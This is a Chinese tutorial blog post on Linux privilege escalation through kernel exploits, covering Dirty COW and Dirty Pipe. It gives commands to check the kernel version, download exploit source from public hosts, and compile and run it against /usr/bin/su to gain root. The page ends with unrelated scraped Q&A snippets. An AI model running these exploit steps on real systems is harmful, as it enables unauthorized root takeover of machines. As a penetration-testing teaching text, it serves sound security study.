Linux提权之内核漏洞提权篇

2023-11-12

前言

在渗透过程中,有时利用某些漏洞可以获取一个低权限的用户,然后想办法提权,提升到root用户权限,从而控制整个系统。 在获取到低权限shell后,通常会检查操作系统的发行版本、内核版本,老版本的系统可能会存在一些漏洞,于是我们可以利用这些版本漏洞进行提权。下面给大家带来的是一些内核提权的例子。

CVE-2016-5195

内核漏洞因为涉及的范围比较多,作为入门就以最著名的CVE-2016-5195(脏牛漏洞)来作为演示:

dirtycow-exp: github.com/gbonacini/C…
dirtycow-检测脚本: github.com/aishee/scan…

简单简述一下它的原理:Linux内核的内存子系统在处理写入复制(copy-on-write, COW )时产生了竞争条件(race condition) 。攻击者可利用此漏洞,来获取高权限,对只读内存映射进行写访问。其中的竞争条件指任务执行顺序异常而导致的应用崩溃,令攻击者有机可乘,进一步执行其他代码。

提权思路

上传脏牛检测脚本-检测疑似存在漏洞-上传脏牛exp-提权成功

我们需要检测系统内核版本:

# 查看系统发行版本 
lsb_release -a 
# 查看内核版本 
uname -a

当发现版本内核在脏牛影响的范围内时,拿到用户权限后将检测脚本上传至靶机:

upload /root/linux-exploit-suggester.sh /tmp/xino.sh

然后赋予该探针执行权限:

chmod 777 xino.sh

若要检测到存在,则继续上传我们下载的提权EXP来进行提权操作,注意的是上传的exp需要进行编译:

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil

执行后可得到root权限,提权脚本还可以通过searchsploit下载到本地:

searchsploit  dirty

下面我们再举例一个其他内核漏洞:

5.8 <= Linux kernel < 5.16.11/5.15.25/5.10.102

github.com/Arinerron/C…

CVE-2022-0847

该漏洞是 5.8 以来 Linux 内核中的一个漏洞,覆盖任意只读文件中的数据。导致权限提升,因为非特权进程可以将代码注入根进程。

影响版本如下:

5.8 <= Linux kernel < 5.16.11/5.15.25/5.10.102

我们查看受害靶机内核版本:

uname -a

发现版本在该漏洞的影响范围内后我们即可尝试进行攻击:

下载漏洞利用文件,编译后运行即可进行提权:

sudo wget https://haxx.in/files/dirtypipez.c 
gcc -o dirtypipe dirtypipez.c
./dirtypipe /usr/bin/su

原理简述

下面简单讲一下该漏洞的由来,linux系统中存在管道符来完成数据传递,但管道符有一定的局限性:

数据一旦被读走,便不在管道中存在,不可反复读取;
由于管道采用半双工通信方式,因此数据只能在一个方向上流动;
只能在有公共祖先(有血缘)的进程间使用管道。

splice 这个系统调用接口可以将数据从一个文件"零拷贝"到一个 pipe 管道。简单来说就是不需要把内核缓冲区的内容往用户空间拷贝。它所调用的函数copy_page_to_iter_pipe作用是将 pipe 缓存页结构指向要传输的文件的文件缓存页 。我们用splice读取数据到管道上,在 splice 中并未清空 pipe_buffer 的标志位,从而让内核误以为该页面可以被写入;,从而将管道页面可写入的状态保留了下来,这给了我们越权写入只读文件的操作。详细流程可以参考以下博客:

dirtypipe.cm4all.com/

结语

今天简单向大家讲解了利用内核漏洞去进行提权的操作,可以发现内核漏洞最主要的就是信息获取后寻找对应的内核漏洞再去攻击,因为内核漏洞有很多所以就挑出了两个常见而且常用的来给大家演示一下,如果对本文感兴趣不妨一键三连。

原文作者:精通Linux内核

原文链接:Linux提权之内核漏洞提权篇 - 知乎(版权归原文作者所有,侵权留言联系删除)

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Linux提权之内核漏洞提权篇 的相关文章

  • Google BQ:运行参数化查询,其中参数变量是 BQ 表目标

    我正在尝试从 Linux 命令行为 BQ 表目标运行 SQL 此 SQL 脚本将用于多个日期 客户端和 BQ 表目标 因此这需要在我的 BQ API 命令行调用中使用参数 标志 parameter 现在 我已经点击此链接来了解参数化查询 h
  • 在 .gitconfig 中隐藏 GitHub 令牌

    我想将所有点文件存储在 GitHub 上 包括 gitconfig 这需要我将 GitHub 令牌隐藏在 gitconfig 中 为此 我有一个 gitconfig hidden token 文件 这是我打算编辑并放在隐藏令牌的 git 下
  • 如何使用 Cloud Init 挂载未格式化的 EBS 卷

    Context 我正在使用https wiki jenkins io display JENKINS Amazon EC2 Plugin https wiki jenkins io display JENKINS Amazon EC2 Pl
  • Linux 上的静态 Qt5 构建:部署时如何处理字体?

    我使用这些配置选项创建了 Qt 5 2 0 库的静态版本 Ubuntu 12 04 开源 确认许可 force pkg config 发布 静止的 前缀 home juzzlin qt5 无icu opengl桌面 无油嘴滑舌 辅助功能 n
  • 就分页分段内存而言的程序寿命

    我对 x86 Linux 机器中的分段和分页过程有一个令人困惑的概念 如果有人能澄清从开始到结束所涉及的所有步骤 我们将很高兴 x86 使用分页分段内存技术进行内存管理 任何人都可以解释一下从可执行的 elf 格式文件从硬盘加载到主内存到它
  • GMail 421 4.7.0 稍后重试,关闭连接

    我试图找出为什么它无法使用 GMail 从我的服务器发送邮件 为此 我使用 SwiftMailer 但我可以将问题包含在以下独立代码中
  • 使用非规范地址检索内存数据会导致 SIGSEGV 而不是 SIGBUS

    我无法使用以下汇编代码产生 总线错误 这里我使用的内存地址不是合法的 规范地址 那么 我怎样才能触发该错误呢 我在带有 NASM 2 14 02 的 Ubuntu 20 04 LTS 下运行这段代码 但它会导致负载出现 SIGSEGV 分段
  • 如何获取 (Linux) 机器的 IP 地址?

    这个问题和之前问的几乎一样如何获取本地计算机的IP地址 https stackoverflow com questions 122208 get the ip address of local computer 问题 但是我需要找到一个的I
  • Bash - 在与当前终端分开的另一个终端中启动命令的新实例

    我有一个简单的 bash 脚本 test sh 设置如下 bin bash args if args 0 check capture then watch n 1 ls lag home user capture0 watch n 1 ls
  • 如何使用waf构建共享库?

    我想使用构建一个共享库waf http code google com p waf 因为它看起来比 GNU 自动工具更容易 更简洁 到目前为止 我实际上有几个与我开始编写的 wscript 有关的问题 VERSION 0 0 1 APPNA
  • Mac OS X 上的 /proc/self/cmdline / GetCommandLine 等效项是什么?

    如何在不使用 argc argv 的情况下访问 Mac OS X 上的命令行 在 Linux 上 我会简单地阅读 proc self cmdline or use GetCommandLine在 Windows 上 但我找不到 Mac OS
  • C修改printf()输出到文件

    有没有办法修改printf为了将字符串输出到文件而不是控制台 我尝试在互联网上查找一些内容 发现了类似的电话dup dup2 and fflush这可能与此有关 EDIT 也许我不清楚 问题是这是C考试问题 问题如下 解释一个通常将字符串输
  • 为什么opencv videowriter这么慢?

    你好 stackoverflow 社区 我有一个棘手的问题 我需要你的帮助来了解这里发生了什么 我的程序从视频采集卡 Blackmagic 捕获帧 到目前为止 它工作得很好 同时我用 opencv cv imshow 显示捕获的图像 它也工
  • 错误:“rjags”的包或命名空间加载失败

    在终端的 conda 环境之一中 我能够成功安装包 rjags 但是 当我在该环境中运行 R 并运行库 rjags 时 出现以下错误 加载所需的包 coda 错误 rjags 的包或命名空间加载失败 rjags 的 loadNamespac
  • 如何在 *nix 中登录时运行脚本?

    我知道我曾经知道如何做到这一点 但是 如何在 unix 中登录时运行脚本 bash 可以 From 维基百科 Bash http en wikipedia org wiki Bash 28Unix shell 29 当 Bash 启动时 它
  • x86-64 AMD 上 CALL 指令的操作数生成

    以下是示例程序 objdump 的输出 080483b4
  • 为什么 XRecordDisableContext() 不起作用?

    void Callback XPointer XRecordInterceptData pRecord std cout lt lt my logs n int main if auto const pDisplay XOpenDispla
  • 如何wget目录中最新的文件

    我想编写一个 bash 脚本来下载并安装最新的每日构建程序 RStudio 是否有可能使wget仅下载目录中最新的文件http www rstudio org download daily desktop http www rstudio
  • 来源和出口有什么区别?

    我正在编写一个 shell 脚本 以读取具有 key value 对的文件并将这些变量设置为环境变量 但我有疑问 如果我这样做source file txt是否会将该文件中定义的变量设置为环境变量 或者我应该逐行读取文件并使用导出命令设置它
  • 在 C 中运行 setuid 程序的正确方法

    我有一个权限为4750的进程 我的Linux系统中存在两个用户 root 用户和 appz 用户 该进程继承以 appz 用户身份运行的进程管理器的权限 我有两个基本惯例 void do root void int status statu

随机推荐

  • 分页显示该休矣

    当你有很多东西要显示给用户 而且内容多得远非一个屏幕可以放得下的时候 你会怎么办 很自然 你会想到分页 在2007年 Vitaly Friedman写了一篇文章叫 Pagination Gallery ExamplesAnd Good Pr
  • 【android】数据库升级完整解决方案

    作者 飞翔的猫咪 http flyingcat2013 blog 51cto com 7061638 1537074 原创作品 允许转载 转载时请务必以超链接形式标明文章 原始出处 作者信息和本声明 否则将追究法律责任 http flyin
  • 如何计算c++中开数组中占的内存

    如何计算c 中开数组中占的内存 引入 在比赛中一般都会有数组的身影 但是比赛时内存是一定的 若是操作不当 那么正解也会被数组而拖累 可是如何确保自己的数组占的内存的呢 首先要知道你自己开数组是的类型是不一样的内存的 也就是说类型不一样 内存
  • Android Studio操作SQLite数据库简要示例

    Android Studio操作SQLite数据库 主要分三步 1 创建数据库及数据表 2 写数据库表 3 读数据库表 下面用例子进行介绍 我们做一个简单的登记用户名及电话号码并进行显示的例子 首先创建EmptyActivity工程Test
  • [深入研究4G/5G/6G专题-34]: URLLC-5-《中国联通5G URLLC技术白皮书3.0版本》解读-1-业务场景

    目录 第1章 背景与URLLC的发展历程 1 1 URLLC的应用场景 1 2 URLLC的业务特点 第2章 URLLC的业务需求
  • 南京邮电大学操作系统复试

    目录 第 1 章 计算机系统概述 多道运行的特征 第 2 章 进程与线程 2 1 进程与线程 1 进程与程序 2 PID Process ID 进程ID 3 PCB Process Control Block 进程控制快 4 进程的特征 5
  • 【NAS工具箱】Pytorch中的Buffer

    Parameter 模型中的一种可以被反向传播更新的参数 第一种 直接通过成员变量nn Parameter 进行创建 会自动注册到parameter中 def init self super MyModel self init self p
  • 垃圾收集器知识点4:Java中垃圾收集器的实现

    目录 java8垃圾收集器组合一览 serial GC 串行GC 的实现 串行gc日志分析 Minor GC 小型GC Full GC 完全GC Parallel GC 并行GC 的实现 并行GC日志分析 Minor GC 小型GC Ful
  • 第二十九章、containers容器类部件QFrame框架部件详解

    一 概述 容器部件就是可以在部件内放置其他部件的部件 在Qt Designer中可以使用的容器部件有如下 容器中的Frame为一个矩形的框架对象 对应类QFrame QFrame类是PyQt中带框架部件的所有类的基类 如菜单 进度条 Lab
  • SQLServer 数据加密解密:常用的加密解密(一)

    都是基本示例 更多参考官方文档 1 Transact SQL 函数 2 数据库密钥 3 证书 4 非对称密钥 5 对称密钥 sql view plain copy drop table EnryptTest create table Enr
  • Win10 WSL运行docker报错:Cannot connect to the Docker daemon at unix:///var/run/docker.sock.

    我安装的子系统是Ubuntu 1804 安装docker步骤如下 sudo apt update 更新软件源 sudo apt install y docker io 安装docker sudo usermod aG docker leo
  • 3个技术男搞恋爱版ChatGPT,估值10亿美元

    过去几个月 我们见证了GPT从3 5到4 0 从只能做结构化搜索整合到接近人类思维的对话 我们还看到了 GPT逐步掌握画画 写作 剪辑 制表 做 PPT 等技能 最可怕的是AI的迭代速度 简直是一天一个样 这股这股前所未有的技术浪潮 一时间
  • sklearn中的LogisticRegression

    sklearn中的逻辑回归接口如下 sklearn linear model LogisticRegression penalty l2 dual False tol 0 0001 C 1 0 fit intercept True inte
  • [专利与论文-14]:研究员级(正高)高级工程师评审不通过的常见原因(实际案例)

    作者主页 文火冰糖的硅基工坊 文火冰糖 王文兵 的博客 文火冰糖的硅基工坊 CSDN博客 本文网址 专利与论文 14 研究员级 正高 高级工程师评审不通过的常见原因 实际案例 文火冰糖 王文兵 的博客 CSDN博客 作者主页 文火冰糖的硅基
  • 策略模式+工厂模式的使用

    在项目开发过程中 经常会遇到项目代码中充斥着大量的if else 每次增加类型都要整体代码逻辑看一遍才可以修改 如下代码 if wx equals type do else if zfb equals type do else if ban
  • JSONObject 与 JSON 互转

    使用目的 目前数据交互大多以 JSON 字符串为信息传输 主要格式有 age 22 name 李四 age 21 name 张三 最常见的应用场景是前后端对接 第三方平台文档对接 下面展示转换使用 一 引入 jar 此处引入 com ali
  • IMAU鸿蒙北向开发-2023年9月5日学习日志

    1 5种调试方式 1 1 Previewer 在侧边 Previewer 选项卡内可以预览Entry 如果要单独预览组件 可以在给组件加 Preview 装饰器 1 2 Local Emulator 本地模拟 1 3 Remote Emul
  • 测试框架pytest教程(6)钩子函数hook开发pytest插件

    pytest hook 函数也叫钩子函数 pytest 提供了大量的钩子函数 可以在用例的不同生命周期自动调用 比如 在测试用例收集阶段 可利用 hook 函数修改测试用例名称的编码 pytest的hook是基于Python的插件系统实现的
  • mac mini u盘安装系统_2020年mac系统下制作win10引导安装盘,亲测可用

    一 背景 最近组装了一台电脑 需要安装系统 由于家里只有一台Macbook pro 在网上找了很多关于mac环境下制作支持win10启动盘教程 尝试过下面几种方式都失败 即u盘插入后主板不会识别 无法自动安装 1 利用终端指令拷贝iso镜像
  • Linux提权之内核漏洞提权篇

    前言 在渗透过程中 有时利用某些漏洞可以获取一个低权限的用户 然后想办法提权 提升到root用户权限 从而控制整个系统 在获取到低权限shell后 通常会检查操作系统的发行版本 内核版本 老版本的系统可能会存在一些漏洞 于是我们可以利用这些